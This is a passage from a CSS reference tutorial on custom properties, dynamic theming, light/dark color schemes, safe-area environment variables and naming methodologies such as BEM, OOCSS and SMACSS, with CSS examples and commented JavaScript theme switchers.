/* Component with default variables */
.card {
    /* Local variables for this component */
    --card-bg: white;
    --card-padding: 1.5rem;
    --card-border: #e0e0e0;
    --card-shadow: 0 2px 4px rgba(0,0,0,0.1);
    
    background: var(--card-bg);
    padding: var(--card-padding);
    border: 1px solid var(--card-border);
    box-shadow: var(--card-shadow);
    border-radius: var(--border-radius, 8px);
}

/* Override for specific card types */
.card-featured {
    --card-bg: #f0f7ff;
    --card-border: #007acc;
    --card-shadow: 0 4px 8px rgba(0,122,204,0.2);
}

.card-warning {
    --card-bg: #fff3cd;
    --card-border: #ffc107;
}

/* Button component with variants */
.button {
    --btn-bg: var(--primary-color);
    --btn-color: white;
    --btn-padding: 0.75rem 1.5rem;
    --btn-hover-bg: var(--primary-dark);
    
    background: var(--btn-bg);
    color: var(--btn-color);
    padding: var(--btn-padding);
    border: none;
    border-radius: var(--border-radius);
    transition: background 0.2s;
}

.button:hover {
    background: var(--btn-hover-bg);
}

.button-secondary {
    --btn-bg: var(--secondary-color);
    --btn-hover-bg: var(--secondary-dark);
}

.button-outline {
    --btn-bg: transparent;
    --btn-color: var(--primary-color);
    border: 2px solid var(--primary-color);
}

.button-large {
    --btn-padding: 1rem 2rem;
}

/* Grid system with variables */
.grid {
    --grid-columns: 12;
    --grid-gap: 1rem;
    --grid-max-width: 1200px;
    
    display: grid;
    grid-template-columns: repeat(var(--grid-columns), 1fr);
    gap: var(--grid-gap);
    max-width: var(--grid-max-width);
    margin: 0 auto;
}

.grid-item {
    --span: 1;
    grid-column: span var(--span);
}

.grid-item-6 {
    --span: 6;
}

.grid-item-4 {
    --span: 4;
}
Note: CSS variables are case-sensitive. Use :root for global scope. Variables inherit, allowing component-level overrides. Use calc() for mathematical operations with variables. Browser support: all modern browsers (IE11 needs fallbacks).

14.2 Dynamic Theming Patterns

Pattern Technique Use Case Example
Data Attributes Set theme via HTML data attribute User-selectable themes <html data-theme="dark">
Class-based Apply theme class to root element Simple theme switching <body class="theme-blue">
CSS Variables Update variable values for themes Dynamic color systems --color: light-dark(#000, #fff)
JavaScript Updates Modify variables via JS Real-time theme changes element.style.setProperty('--color', value)
Inline Overrides Component-level theme overrides Contextual theming style="--bg: blue"
CSS @property Typed custom properties Animatable theme values Define syntax and initial value

Example: Multi-theme system with data attributes

/* Default theme (light) */
:root {
    --bg-primary: #ffffff;
    --bg-secondary: #f5f5f5;
    --text-primary: #1a1a1a;
    --text-secondary: #666666;
    --border-color: #e0e0e0;
    --accent-color: #007acc;
    --shadow: 0 2px 8px rgba(0,0,0,0.1);
}

/* Dark theme */
[data-theme="dark"] {
    --bg-primary: #1a1a1a;
    --bg-secondary: #2d2d2d;
    --text-primary: #f0f0f0;
    --text-secondary: #b0b0b0;
    --border-color: #404040;
    --accent-color: #4fc3f7;
    --shadow: 0 2px 8px rgba(0,0,0,0.5);
}

/* Blue theme */
[data-theme="blue"] {
    --bg-primary: #e3f2fd;
    --bg-secondary: #bbdefb;
    --text-primary: #0d47a1;
    --text-secondary: #1565c0;
    --border-color: #90caf9;
    --accent-color: #2196f3;
    --shadow: 0 2px 8px rgba(33,150,243,0.2);
}

/* Purple theme */
[data-theme="purple"] {
    --bg-primary: #f3e5f5;
    --bg-secondary: #e1bee7;
    --text-primary: #4a148c;
    --text-secondary: #6a1b9a;
    --border-color: #ce93d8;
    --accent-color: #9c27b0;
    --shadow: 0 2px 8px rgba(156,39,176,0.2);
}

/* Apply theme variables */
body {
    background: var(--bg-primary);
    color: var(--text-primary);
    transition: background 0.3s, color 0.3s;
}

.card {
    background: var(--bg-secondary);
    border: 1px solid var(--border-color);
    box-shadow: var(--shadow);
    color: var(--text-primary);
}

.link {
    color: var(--accent-color);
}

.button-primary {
    background: var(--accent-color);
    color: var(--bg-primary);
}

/* JavaScript to switch themes */
/*
function setTheme(themeName) {
    document.documentElement.setAttribute('data-theme', themeName);
    localStorage.setItem('theme', themeName);
}

// Load saved theme
const savedTheme = localStorage.getItem('theme') || 'light';
setTheme(savedTheme);

// Theme switcher
document.getElementById('theme-select').addEventListener('change', (e) => {
    setTheme(e.target.value);
});
*/

Example: Dynamic color palette generation

/* Base color with variants */
:root {
    --brand-hue: 210;
    --brand-saturation: 100%;
    --brand-lightness: 50%;
    
    /* Generate color palette */
    --brand-50: hsl(var(--brand-hue), var(--brand-saturation), 95%);
    --brand-100: hsl(var(--brand-hue), var(--brand-saturation), 90%);
    --brand-200: hsl(var(--brand-hue), var(--brand-saturation), 80%);
    --brand-300: hsl(var(--brand-hue), var(--brand-saturation), 70%);
    --brand-400: hsl(var(--brand-hue), var(--brand-saturation), 60%);
    --brand-500: hsl(var(--brand-hue), var(--brand-saturation), 50%);
    --brand-600: hsl(var(--brand-hue), var(--brand-saturation), 40%);
    --brand-700: hsl(var(--brand-hue), var(--brand-saturation), 30%);
    --brand-800: hsl(var(--brand-hue), var(--brand-saturation), 20%);
    --brand-900: hsl(var(--brand-hue), var(--brand-saturation), 10%);
}

/* Change theme by updating hue */
[data-theme="blue"] {
    --brand-hue: 210;
}

[data-theme="green"] {
    --brand-hue: 150;
}

[data-theme="purple"] {
    --brand-hue: 280;
}

[data-theme="orange"] {
    --brand-hue: 30;
}

/* Use generated colors */
.button {
    background: var(--brand-500);
    color: white;
}

.button:hover {
    background: var(--brand-600);
}

.alert {
    background: var(--brand-50);
    border: 1px solid var(--brand-200);
    color: var(--brand-900);
}

/* JavaScript to set custom hue */
/*
function setCustomTheme(hue) {
    document.documentElement.style.setProperty('--brand-hue', hue);
}

// Color picker
document.getElementById('hue-slider').addEventListener('input', (e) => {
    setCustomTheme(e.target.value);
});
*/

Example: Context-based theming

/* Base component variables */
.section {
    --section-bg: var(--bg-primary);
    --section-text: var(--text-primary);
    --section-accent: var(--accent-color);
    
    background: var(--section-bg);
    color: var(--section-text);
    padding: 3rem 2rem;
}

/* Dark variant */
.section-dark {
    --section-bg: #1a1a1a;
    --section-text: #f0f0f0;
    --section-accent: #4fc3f7;
}

/* Colored variants */
.section-blue {
    --section-bg: #e3f2fd;
    --section-text: #0d47a1;
    --section-accent: #2196f3;
}

.section-green {
    --section-bg: #e8f5e9;
    --section-text: #1b5e20;
    --section-accent: #4caf50;
}

/* Nested components inherit context */
.section .card {
    background: color-mix(in srgb, var(--section-bg) 95%, var(--section-text) 5%);
    border: 1px solid color-mix(in srgb, var(--section-bg) 80%, var(--section-text) 20%);
}

.section .button {
    background: var(--section-accent);
    color: var(--section-bg);
}

/* Responsive theming */
@media (max-width: 768px) {
    :root {
        --spacing-unit: 6px;
        --font-size-base: 14px;
    }
}

@media (min-width: 1024px) {
    :root {
        --spacing-unit: 10px;
        --font-size-base: 16px;
    }
}

/* Preference-based theming */
@media (prefers-contrast: high) {
    :root {
        --border-width: 2px;
        --text-primary: #000;
        --bg-primary: #fff;
    }
}

@media (prefers-color-scheme: dark) {
    :root {
        --bg-primary: #1a1a1a;
        --text-primary: #f0f0f0;
    }
}
Note: Use data-theme or class-based theming for user preferences. Store theme choice in localStorage. Generate color scales from HSL variables. Use color-mix() for derived colors. Support system preferences with prefers-color-scheme.

14.3 CSS Variable Scope and Inheritance

Scope Declaration Visibility Use Case
:root :root { --var: value; } Global (entire document) Site-wide design tokens
Element selector .class { --var: value; } Element and descendants Component-specific values
Inline style style="--var: value" Element and descendants One-off overrides
Media query @media { :root { --var: val; }} Conditional global scope Responsive design tokens
Container query @container { --var: val; } Container-based scope Container-responsive values
Inheritance Child inherits from parent Down the DOM tree Cascading theme values
Override Redeclare at any level Higher specificity wins Context-specific values

Example: Variable scope and inheritance

/* Global scope */
:root {
    --primary: #007acc;
    --spacing: 1rem;
    --font-size: 16px;
}

/* Component scope */
.card {
    --card-padding: calc(var(--spacing) * 2);
    --card-bg: white;
    
    padding: var(--card-padding);
    background: var(--card-bg);
}

/* Nested override */
.card-featured {
    --card-padding: calc(var(--spacing) * 3);
    --card-bg: #f0f7ff;
}

/* Children inherit parent variables */
.card .title {
    /* Has access to --card-padding and --card-bg */
    margin-bottom: calc(var(--card-padding) / 2);
}

/* Inline style has highest specificity */
/* <div class="card" style="--card-bg: red"> */

/* Scope examples */
.sidebar {
    --sidebar-width: 250px;
}

.sidebar .nav-item {
    /* Can use --sidebar-width */
    padding-left: calc(var(--sidebar-width) / 10);
}

/* Variable not available outside scope */
.main-content {
    /* --sidebar-width is undefined here */
    width: calc(100% - var(--sidebar-width, 0px)); /* Fallback needed */
}

/* Media query scope */
@media (max-width: 768px) {
    :root {
        --spacing: 0.75rem;  /* Override global */
        --sidebar-width: 200px;  /* New responsive variable */
    }
}

/* Container query scope */
.container {
    container-type: inline-size;
}

@container (min-width: 500px) {
    .container {
        --columns: 2;
    }
}

@container (min-width: 800px) {
    .container {
        --columns: 3;
    }
}

.grid {
    grid-template-columns: repeat(var(--columns, 1), 1fr);
}

Example: Inheritance patterns and overrides

/* Theme base */
:root {
    --bg: white;
    --text: black;
    --accent: blue;
}

/* Section overrides */
.hero-section {
    --bg: #1a1a1a;
    --text: white;
    --accent: #4fc3f7;
}

/* All children inherit */
.hero-section .heading {
    color: var(--text);  /* white */
}

.hero-section .button {
    background: var(--accent);  /* #4fc3f7 */
}

/* Further override in specific component */
.hero-section .button-secondary {
    --accent: var(--text);  /* Use white as accent */
    background: transparent;
    border: 2px solid var(--accent);
    color: var(--accent);
}

/* Cascade and specificity */
.component {
    --size: 1rem;
}

.component-large {
    --size: 1.5rem;  /* More specific, wins */
}

/* Inline style beats all */
/* <div class="component component-large" style="--size: 2rem"> */
/* --size will be 2rem */

/* Practical example: Nested theme contexts */
.app {
    --theme-bg: white;
    --theme-text: black;
    background: var(--theme-bg);
    color: var(--theme-text);
}

.sidebar {
    --theme-bg: #f5f5f5;
    --theme-text: #333;
    background: var(--theme-bg);
}

.sidebar .nav-item {
    /* Inherits sidebar's theme */
    background: color-mix(in srgb, var(--theme-bg) 90%, var(--theme-text) 10%);
}

.modal {
    /* Modal creates new theme context */
    --theme-bg: white;
    --theme-text: #1a1a1a;
    background: var(--theme-bg);
    color: var(--theme-text);
}

/* Variable doesn't leak out of scope */
.isolated {
    --local-var: red;
}

.sibling {
    /* --local-var is not available here */
    color: var(--local-var, blue);  /* Uses fallback: blue */
}

Example: JavaScript manipulation of variables

/* CSS setup */
:root {
    --primary-hue: 210;
    --primary: hsl(var(--primary-hue), 100%, 50%);
}

.element {
    background: var(--primary);
}

/* JavaScript variable manipulation */
/*
// Get variable value
const root = document.documentElement;
const primaryHue = getComputedStyle(root).getPropertyValue('--primary-hue');

// Set variable value (global)
root.style.setProperty('--primary-hue', '150');

// Set variable on specific element
const element = document.querySelector('.element');
element.style.setProperty('--primary', '#ff0000');

// Remove variable
root.style.removeProperty('--primary-hue');

// Check if variable exists
const styles = getComputedStyle(root);
const hasVar = styles.getPropertyValue('--primary-hue') !== '';

// Animate variable with JavaScript
let hue = 0;
function animateHue() {
    hue = (hue + 1) % 360;
    root.style.setProperty('--primary-hue', hue);
    requestAnimationFrame(animateHue);
}

// Update multiple variables
function setTheme(colors) {
    Object.entries(colors).forEach(([key, value]) => {
        root.style.setProperty(`--${key}`, value);
    });
}

setTheme({
    'primary': '#007acc',
    'secondary': '#5c2d91',
    'background': '#ffffff'
});

// Read all custom properties
const allProps = Array.from(document.styleSheets)
    .flatMap(sheet => Array.from(sheet.cssRules))
    .filter(rule => rule.selectorText === ':root')
    .flatMap(rule => Array.from(rule.style))
    .filter(prop => prop.startsWith('--'));
*/
Warning: Variables don't work in media query conditions. Use @supports for feature detection. Invalid values make the property invalid (not ignored). Variables are case-sensitive. Circular references cause invalid values.

14.4 CSS Color Schemes (light/dark mode)

Property/Function Syntax Description Browser Support
color-scheme light | dark | light dark Declare supported color schemes All modern browsers
prefers-color-scheme @media (prefers-color-scheme: dark) Detect user's system preference All modern browsers
light-dark() NEW light-dark(light-val, dark-val) Automatic light/dark value selection Chrome 123+, Safari 17.5+
Meta tag <meta name="color-scheme"> Set document color scheme in HTML Affects browser UI
System colors Canvas, CanvasText, LinkText CSS system color keywords Adapt to color scheme automatically

Example: Complete light/dark mode implementation

<!-- HTML: Enable color scheme support -->
<!-- <meta name="color-scheme" content="light dark"> -->

/* CSS: Declare support for both schemes */
:root {
    color-scheme: light dark;
}

/* Method 1: Media queries (traditional) */
:root {
    --bg: white;
    --text: #1a1a1a;
    --border: #e0e0e0;
    --accent: #007acc;
    --shadow: rgba(0,0,0,0.1);
}

@media (prefers-color-scheme: dark) {
    :root {
        --bg: #1a1a1a;
        --text: #f0f0f0;
        --border: #404040;
        --accent: #4fc3f7;
        --shadow: rgba(0,0,0,0.5);
    }
}

body {
    background: var(--bg);
    color: var(--text);
    border-color: var(--border);
}

/* Method 2: light-dark() function (modern) */
:root {
    color-scheme: light dark;
    
    --bg: light-dark(white, #1a1a1a);
    --text: light-dark(#1a1a1a, #f0f0f0);
    --border: light-dark(#e0e0e0, #404040);
    --accent: light-dark(#007acc, #4fc3f7);
}

/* Direct usage */
.element {
    background: light-dark(white, #1a1a1a);
    color: light-dark(#333, #f0f0f0);
    border: 1px solid light-dark(#ddd, #444);
}

/* Combine with variables */
.card {
    background: var(--bg);
    color: var(--text);
    box-shadow: 0 2px 8px var(--shadow);
}

/* System colors (automatic adaptation) */
.native-style {
    background: Canvas;
    color: CanvasText;
    border: 1px solid FieldBorder;
}

.link {
    color: LinkText;
}

/* Manual dark mode toggle */
[data-theme="light"] {
    color-scheme: light;
    --bg: white;
    --text: #1a1a1a;
}

[data-theme="dark"] {
    color-scheme: dark;
    --bg: #1a1a1a;
    --text: #f0f0f0;
}

/* Auto follows system */
[data-theme="auto"] {
    color-scheme: light dark;
}

Example: Advanced dark mode patterns

/* Semantic color system */
:root {
    color-scheme: light dark;
    
    /* Backgrounds */
    --bg-primary: light-dark(#ffffff, #0a0a0a);
    --bg-secondary: light-dark(#f5f5f5, #1a1a1a);
    --bg-tertiary: light-dark(#e0e0e0, #2d2d2d);
    
    /* Text */
    --text-primary: light-dark(#1a1a1a, #f0f0f0);
    --text-secondary: light-dark(#666666, #b0b0b0);
    --text-tertiary: light-dark(#999999, #808080);
    
    /* Borders */
    --border-primary: light-dark(#e0e0e0, #404040);
    --border-secondary: light-dark(#f0f0f0, #2d2d2d);
    
    /* Accent colors */
    --accent-primary: light-dark(#007acc, #4fc3f7);
    --accent-secondary: light-dark(#5c2d91, #ba68c8);
    --success: light-dark(#28a745, #4caf50);
    --warning: light-dark(#ffc107, #ffb300);
    --error: light-dark(#dc3545, #f44336);
    
    /* Shadows */
    --shadow-sm: light-dark(0 1px 2px rgba(0,0,0,0.05), 0 1px 2px rgba(0,0,0,0.3));
    --shadow-md: light-dark(0 4px 6px rgba(0,0,0,0.1), 0 4px 6px rgba(0,0,0,0.4));
    --shadow-lg: light-dark(0 10px 15px rgba(0,0,0,0.1), 0 10px 15px rgba(0,0,0,0.5));
}

/* Component styles */
.card {
    background: var(--bg-secondary);
    color: var(--text-primary);
    border: 1px solid var(--border-primary);
    box-shadow: var(--shadow-md);
}

.button-primary {
    background: var(--accent-primary);
    color: var(--bg-primary);
}

/* Images and media */
img {
    /* Reduce brightness in dark mode */
    filter: light-dark(none, brightness(0.8) contrast(1.2));
}

/* Code blocks */
pre {
    background: light-dark(#f6f8fa, #161b22);
    color: light-dark(#24292e, #c9d1d9);
    border: 1px solid light-dark(#d0d7de, #30363d);
}

/* Syntax highlighting */
.token.comment {
    color: light-dark(#6a737d, #8b949e);
}

.token.keyword {
    color: light-dark(#d73a49, #ff7b72);
}

.token.string {
    color: light-dark(#032f62, #a5d6ff);
}

/* Preserve colors (don't adapt) */
.logo {
    /* Brand colors stay the same */
    color: #007acc;
}

/* JavaScript theme toggle */
/*
function setColorScheme(scheme) {
    document.documentElement.style.colorScheme = scheme;
    localStorage.setItem('color-scheme', scheme);
}

// Initialize from saved preference
const saved = localStorage.getItem('color-scheme') || 'light dark';
setColorScheme(saved);

// Toggle function
function toggleDarkMode() {
    const current = document.documentElement.style.colorScheme;
    const newScheme = current === 'dark' ? 'light' : 'dark';
    setColorScheme(newScheme);
}
*/

Example: Hybrid approach (system + manual)

/* Support both system preference and manual toggle */
:root {
    /* Default to system preference */
    color-scheme: light dark;
}

/* Light mode colors */
:root,
[data-theme="light"] {
    --bg: white;
    --text: #1a1a1a;
    --border: #e0e0e0;
}

/* Dark mode from system preference */
@media (prefers-color-scheme: dark) {
    :root:not([data-theme="light"]) {
        --bg: #1a1a1a;
        --text: #f0f0f0;
        --border: #404040;
    }
}

/* Manual dark mode override */
[data-theme="dark"] {
    color-scheme: dark;
    --bg: #1a1a1a;
    --text: #f0f0f0;
    --border: #404040;
}

/* Apply colors */
body {
    background: var(--bg);
    color: var(--text);
    transition: background 0.3s, color 0.3s;
}

/* JavaScript for three-state toggle */
/*
// States: 'auto' (system), 'light', 'dark'
function setTheme(theme) {
    if (theme === 'auto') {
        document.documentElement.removeAttribute('data-theme');
        document.documentElement.style.colorScheme = 'light dark';
    } else {
        document.documentElement.setAttribute('data-theme', theme);
        document.documentElement.style.colorScheme = theme;
    }
    localStorage.setItem('theme', theme);
}

// Initialize
const savedTheme = localStorage.getItem('theme') || 'auto';
setTheme(savedTheme);

// Three-way toggle: auto → light → dark → auto
function cycleTheme() {
    const current = localStorage.getItem('theme') || 'auto';
    const next = current === 'auto' ? 'light' : 
                 current === 'light' ? 'dark' : 'auto';
    setTheme(next);
}

// Detect system preference changes
window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', (e) => {
    if (localStorage.getItem('theme') === 'auto') {
        // Refresh when system preference changes
        console.log('System theme changed to:', e.matches ? 'dark' : 'light');
    }
});
*/
Note: Set color-scheme: light dark in CSS and <meta name="color-scheme" content="light dark"> in HTML. Use light-dark() for modern browsers or prefers-color-scheme media query for wider support. Store user preference in localStorage. Support three modes: auto (system), light, dark.

14.5 CSS Environment Variables

Variable Description Common Values Use Case
safe-area-inset-top Top safe area inset (notches, status bar) 0px to ~44px on iOS Avoid notch areas
safe-area-inset-right Right safe area inset 0px typically Landscape mode insets
safe-area-inset-bottom Bottom safe area inset (home indicator) 0px to ~34px on iOS Avoid home indicator
safe-area-inset-left Left safe area inset 0px typically Landscape mode insets
titlebar-area-x PWA titlebar area X position Varies by OS Desktop PWA window controls
titlebar-area-y PWA titlebar area Y position Varies by OS Desktop PWA window controls
titlebar-area-width PWA titlebar area width Varies by OS Desktop PWA window controls
titlebar-area-height PWA titlebar area height Varies by OS Desktop PWA window controls

Example: Safe area insets for mobile devices

/* Handle iPhone notch and home indicator */
body {
    /* Add padding to avoid safe areas */
    padding-top: env(safe-area-inset-top);
    padding-right: env(safe-area-inset-right);
    padding-bottom: env(safe-area-inset-bottom);
    padding-left: env(safe-area-inset-left);
}

/* Fixed header that respects safe areas */
.header {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    /* Add safe area to existing padding */
    padding-top: calc(1rem + env(safe-area-inset-top));
    padding-left: calc(1rem + env(safe-area-inset-left));
    padding-right: calc(1rem + env(safe-area-inset-right));
    background: white;
    z-index: 100;
}

/* Fixed footer */
.footer {
    position: fixed;
    bottom: 0;
    left: 0;
    right: 0;
    padding-bottom: calc(1rem + env(safe-area-inset-bottom));
    padding-left: calc(1rem + env(safe-area-inset-left));
    padding-right: calc(1rem + env(safe-area-inset-right));
    background: white;
}

/* Full-screen modal */
.modal-fullscreen {
    position: fixed;
    inset: 0;
    /* Inset content from safe areas */
    padding: env(safe-area-inset-top) 
             env(safe-area-inset-right) 
             env(safe-area-inset-bottom) 
             env(safe-area-inset-left);
}

/* With fallback for non-supporting browsers */
.element {
    padding-top: env(safe-area-inset-top, 0px);
    /* Fallback to 0px if env() not supported */
}

/* Combine with max() for minimum padding */
.container {
    padding-top: max(1rem, env(safe-area-inset-top));
    padding-bottom: max(1rem, env(safe-area-inset-bottom));
    /* Ensures at least 1rem padding */
}

/* Sticky element at bottom */
.sticky-cta {
    position: sticky;
    bottom: env(safe-area-inset-bottom);
    padding: 1rem;
    background: #007acc;
    color: white;
}

/* Full viewport height accounting for safe areas */
.full-height {
    min-height: calc(100vh - env(safe-area-inset-top) - env(safe-area-inset-bottom));
}

/* Landscape mode handling */
@media (orientation: landscape) {
    .sidebar {
        padding-left: calc(1rem + env(safe-area-inset-left));
        padding-right: calc(1rem + env(safe-area-inset-right));
    }
}

Example: PWA titlebar area variables

/* Desktop PWA with custom titlebar */
/* Requires: "display_override": ["window-controls-overlay"] in manifest */

.app-header {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    height: 48px;
    /* Avoid window controls area */
    padding-left: calc(1rem + env(titlebar-area-x, 0px));
    padding-right: 1rem;
    display: flex;
    align-items: center;
    background: var(--header-bg);
    -webkit-app-region: drag;  /* Make draggable */
}

/* Logo and buttons shouldn't be draggable */
.app-header .logo,
.app-header button {
    -webkit-app-region: no-drag;
}

/* Account for titlebar height */
.app-content {
    margin-top: calc(48px + env(titlebar-area-height, 0px));
}

/* Responsive titlebar */
.custom-titlebar {
    /* Use available space */
    width: calc(100vw - env(titlebar-area-width, 0px));
    height: env(titlebar-area-height, 48px);
    display: flex;
    align-items: center;
}

/* Fallback for non-PWA */
@supports not (padding: env(titlebar-area-x)) {
    .app-header {
        padding-left: 1rem;
    }
}

Example: Custom environment variable fallback patterns

/* Safe patterns with fallbacks */
.element {
    /* Pattern 1: Fallback to 0 */
    padding-top: env(safe-area-inset-top, 0px);
    
    /* Pattern 2: Fallback to custom property */
    padding-top: env(safe-area-inset-top, var(--default-padding));
    
    /* Pattern 3: Use max() for minimum */
    padding-top: max(20px, env(safe-area-inset-top));
    
    /* Pattern 4: Add to existing value */
    padding-top: calc(20px + env(safe-area-inset-top, 0px));
}

/* Complete safe area support */
:root {
    /* Create custom properties from env() */
    --safe-top: env(safe-area-inset-top, 0px);
    --safe-right: env(safe-area-inset-right, 0px);
    --safe-bottom: env(safe-area-inset-bottom, 0px);
    --safe-left: env(safe-area-inset-left, 0px);
}

.app-container {
    padding-top: var(--safe-top);
    padding-right: var(--safe-right);
    padding-bottom: var(--safe-bottom);
    padding-left: var(--safe-left);
}

/* Conditional env() usage */
@supports (padding: env(safe-area-inset-top)) {
    .ios-safe {
        padding-top: env(safe-area-inset-top);
    }
}

/* viewport-fit meta tag required for iOS */
/* <meta name="viewport" content="viewport-fit=cover"> */

/* Test if env() is available */
/*
const supportsEnv = CSS.supports('padding', 'env(safe-area-inset-top)');
if (supportsEnv) {
    console.log('Environment variables supported');
}

// Read env() value (returns computed value)
const style = getComputedStyle(document.documentElement);
const topInset = style.getPropertyValue('--safe-top');
console.log('Safe area top:', topInset);
*/

CSS Custom Properties & Theming Best Practices

  • Use :root for global design tokens, component selectors for scoped variables
  • Name variables semantically: --color-primary not --blue
  • Provide fallback values: var(--color, blue)
  • Generate color scales from HSL variables for dynamic theming
  • Use data-theme or class-based switching for user themes
  • Support system preferences with prefers-color-scheme
  • Use light-dark() function for modern automatic theme adaptation
  • Set color-scheme: light dark for proper browser UI
  • Always use env(safe-area-inset-*) for mobile PWAs
  • Store theme preference in localStorage for persistence

15. CSS Architecture and Methodology

15.1 CSS Naming Conventions (BEM, OOCSS, SMACSS)

Methodology Pattern Description Example
BEM (Block Element Modifier) .block__element--modifier Strict naming convention for components .card__title--large
BEM Block .block Standalone component/entity .menu, .button
BEM Element .block__element Part of block, no standalone meaning .menu__item, .button__icon
BEM Modifier .block--modifier Different state or version of block .button--primary, .menu--vertical
OOCSS (Object Oriented CSS) Separate structure and skin Reusable visual patterns as objects .media, .button
SMACSS (Scalable Modular Architecture) 5 categories of rules Base, Layout, Module, State, Theme .l-sidebar, .is-active
ITCSS (Inverted Triangle CSS) Layered architecture Generic to specific, low to high specificity Settings → Tools → Generic → Elements → Objects → Components → Utilities
CUBE CSS Composition, Utility, Block, Exception Modern methodology with design tokens Combine composition classes with utilities

Example: BEM naming convention

/* Block: standalone component */
.card {
    display: flex;
    flex-direction: column;
    background: white;
    border-radius: 8px;
    padding: 1rem;
}

/* Elements: parts of the block */
.card__header {
    display: flex;
    justify-content: space-between;
    margin-bottom: 1rem;
}

.card__title {
    font-size: 1.5rem;
    font-weight: bold;
}

.card__subtitle {
    font-size: 0.875rem;
    color: #666;
}

.card__body {
    flex: 1;
    line-height: 1.6;
}

.card__footer {
    display: flex;
    gap: 0.5rem;
    margin-top: 1rem;
    padding-top: 1rem;
    border-top: 1px solid #eee;
}

.card__button {
    padding: 0.5rem 1rem;
    border: none;
    border-radius: 4px;
    cursor: pointer;
}

/* Modifiers: variations */
.card--featured {
    border: 2px solid #007acc;
    box-shadow: 0 4px 8px rgba(0,122,204,0.2);
}

.card--compact {
    padding: 0.5rem;
}

.card__title--large {
    font-size: 2rem;
}

.card__button--primary {
    background: #007acc;
    color: white;
}

.card__button--secondary {
    background: transparent;
    border: 1px solid #007acc;
    color: #007acc;
}

/* HTML structure */
/*
<div class="card card--featured">
    <div class="card__header">
        <h2 class="card__title card__title--large">Title</h2>
    </div>
    <div class="card__body">Content</div>
    <div class="card__footer">
        <button class="card__button card__button--primary">Action</button>
        <button class="card__button card__button--secondary">Cancel</button>
    </div>
</div>
*/

Example: OOCSS (Object Oriented CSS)

/* Separate structure from skin */

/* Structure: layout and positioning */
.media {
    display: flex;
    align-items: flex-start;
}

.media__figure {
    margin-right: 1rem;
}

.media__body {
    flex: 1;
}

/* Skin: visual appearance */
.skin-default {
    background: white;
    border: 1px solid #ddd;
    border-radius: 4px;
    padding: 1rem;
}

.skin-primary {
    background: #007acc;
    color: white;
    padding: 1rem;
}

/* Combine structure and skin */
/*
<div class="media skin-default">
    <div class="media__figure">...</div>
    <div class="media__body">...</div>
</div>
*/

/* Separate container from content */
.container {
    max-width: 1200px;
    margin: 0 auto;
    padding: 0 1rem;
}

.box {
    padding: 1rem;
    margin-bottom: 1rem;
}

/* Content is independent of container */
.box-content {
    line-height: 1.6;
}

/* Reusable button object */
.btn {
    display: inline-block;
    padding: 0.5rem 1rem;
    border: none;
    border-radius: 4px;
    cursor: pointer;
    font-size: 1rem;
    text-align: center;
    text-decoration: none;
}

/* Skin variations */
.btn-primary {
    background: #007acc;
    color: white;
}

.btn-secondary {
    background: #6c757d;
    color: white;
}

.btn-large {
    padding: 0.75rem 1.5rem;
    font-size: 1.125rem;
}

Example: SMACSS categories

/* 1. Base: defaults, no classes */
* {
    box-sizing: border-box;
}

body {
    font-family: sans-serif;
    line-height: 1.6;
    color: #333;
}

a {
    color: #007acc;
    text-decoration: none;
}

/* 2. Layout: major page sections (prefix: l-) */
.l-header {
    position: fixed;
    top: 0;
    width: 100%;
    z-index: 100;
}

.l-sidebar {
    width: 250px;
    float: left;
}

.l-main {
    margin-left: 250px;
}

.l-footer {
    clear: both;
    padding: 2rem 0;
}

/* 3. Module: reusable components */
.card {
    background: white;
    border: 1px solid #ddd;
    border-radius: 4px;
    padding: 1rem;
}

.button {
    padding: 0.5rem 1rem;
    border: none;
    border-radius: 4px;
}

.nav {
    list-style: none;
    padding: 0;
}

.nav-item {
    display: inline-block;
    margin-right: 1rem;
}

/* 4. State: describe behavior (prefix: is- or has-) */
.is-active {
    font-weight: bold;
    color: #007acc;
}

.is-hidden {
    display: none;
}

.is-disabled {
    opacity: 0.5;
    pointer-events: none;
}

.has-error {
    border-color: #dc3545;
}

.is-loading {
    cursor: wait;
    opacity: 0.6;
}

/* 5. Theme: color schemes and typography */
.theme-dark {
    background: #1a1a1a;
    color: #f0f0f0;
}

.theme-dark .card {
    background: #2d2d2d;
    border-color: #404040;
}

.theme-large-text {
    font-size: 1.125rem;
}
Note: BEM is most popular for component-based development. Use __ for elements, -- for modifiers. OOCSS focuses on reusability. SMACSS provides categorization. Choose based on team preference and project needs.

15.2 CSS-in-JS vs CSS Modules vs Utility-first

Approach Description Pros Cons
CSS-in-JS Styles written in JavaScript (styled-components, Emotion) Scoped by default, dynamic styling, no separate files Runtime overhead, larger bundle, no caching
CSS Modules Locally scoped CSS files (styles.module.css) Automatic scoping, standard CSS, build-time processing Extra build step, separate files
Utility-first (Tailwind) Pre-defined utility classes in HTML Fast development, small bundle, consistency HTML clutter, learning curve, harder customization
Traditional CSS Global stylesheets with naming conventions Standard, cacheable, no build needed Global scope, naming conflicts, larger files
CSS Preprocessors (Sass/Less) Extended CSS with variables, nesting, mixins DRY, powerful features, compiles to CSS Build step required, can generate bloat
Atomic CSS Single-purpose utility classes Highly reusable, small CSS, fast Many classes in HTML, specificity issues

Example: CSS-in-JS (styled-components style)

/* JavaScript/TypeScript file */
/*
import styled from 'styled-components';

// Styled component
const Button = styled.button`
    padding: 0.75rem 1.5rem;
    background: ${props => props.primary ? '#007acc' : '#6c757d'};
    color: white;
    border: none;
    border-radius: 4px;
    cursor: pointer;
    font-size: 1rem;
    
    &:hover {
        background: ${props => props.primary ? '#005a9e' : '#5a6268'};
    }
    
    &:disabled {
        opacity: 0.5;
        cursor: not-allowed;
    }
`;

// Dynamic styles
const Card = styled.div`
    background: white;
    padding: ${props => props.compact ? '0.5rem' : '1rem'};
    border-radius: 8px;
    box-shadow: ${props => props.elevated ? '0 4px 8px rgba(0,0,0,0.1)' : 'none'};
`;

// Extending styles
const PrimaryButton = styled(Button)`
    background: #007acc;
    font-weight: bold;
`;

// Using theme
const ThemedCard = styled.div`
    background: ${props => props.theme.cardBg};
    color: ${props => props.theme.textColor};
    padding: 1rem;
`;

// Usage in JSX
function App() {
    return (
        <Card elevated>
            <Button primary>Primary</Button>
            <Button>Secondary</Button>
            <PrimaryButton>Important</PrimaryButton>
        </Card>
    );
}
*/

/* Advantages:
   - Automatic scoping (no class name conflicts)
   - Dynamic styling based on props
   - Colocated with component logic
   - Dead code elimination
   
   Disadvantages:
   - Runtime overhead
